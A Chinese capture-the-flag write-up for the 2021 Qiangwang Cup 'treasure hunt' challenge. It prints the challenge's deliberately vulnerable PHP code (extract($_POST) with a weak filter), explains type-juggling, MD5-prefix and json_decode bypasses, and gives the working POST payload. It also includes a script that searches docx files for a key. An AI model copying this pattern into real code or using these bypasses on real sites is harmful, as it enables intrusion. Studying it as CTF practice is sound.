2021强网杯-寻宝
PS:看到WP后血压拉满
part 1
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
var_dump($ppp);
echo "<br>";
var_dump($_POST);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
?>
传参方式
有个extract($_POST);它把数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
由一段代码引发的惨案,md5绕过,foreach,php伪协议
最后是这样的格式,它自动把引号加上的
ppp[number1]=xxx&ppp[number2]=xxx&ppp[number3]=xxx&ppp[number4]=xxx&ppp[number5]=xxx
第一层
弱类型,1234a
第二层
科学计数法,9e9
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
第三层
脚本直接跑
import hashlib
def func(md5_val):
for x in range(50000000,100000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:7]==md5_val:
return str(x)
print func(raw_input('md5_val:'))
raw_input('ok')
61823470
第四层
科学计数法,0e99999
第五层
json_decode()
接受一个 JSON 编码的字符串并且把它转换为 PHP 变量
通过恰当的 PHP 类型返回在 json
中编码的数据。值true
, false
和 null
会相应地返回 true
, false
和 null
。 如果 json
无法被解码, 或者编码数据深度超过了递归限制的话,将会返回null
。
1a
payload
ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a
part 2
没找出来,可惜,真就直接找key就行了
import os
import docx
import time
import re
os.chdir('C:/Users/Lenovo/Desktop/qwb/five_month')
dires = os.listdir()
for dirss in dires:
os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}')
dirs = os.listdir()
#time.sleep(1)
for di in dirs:
os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}')
ds = os.listdir()
for d in ds:
path = (f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}' + f'/{d}')
# 完美的路径
if re.search('(1|2|3|4|5).png', path) == None :
#print(path)跳过png
file = docx.Document(path)
for para in file.paragraphs :
x=para.text
if re.search('KEY2',x) != None :
print(path)
有五张图片,当时被这个带偏了,去看misc了
现在想想可能是用来干扰脚本的
得到两个KEY,提交即可
For the LichKing !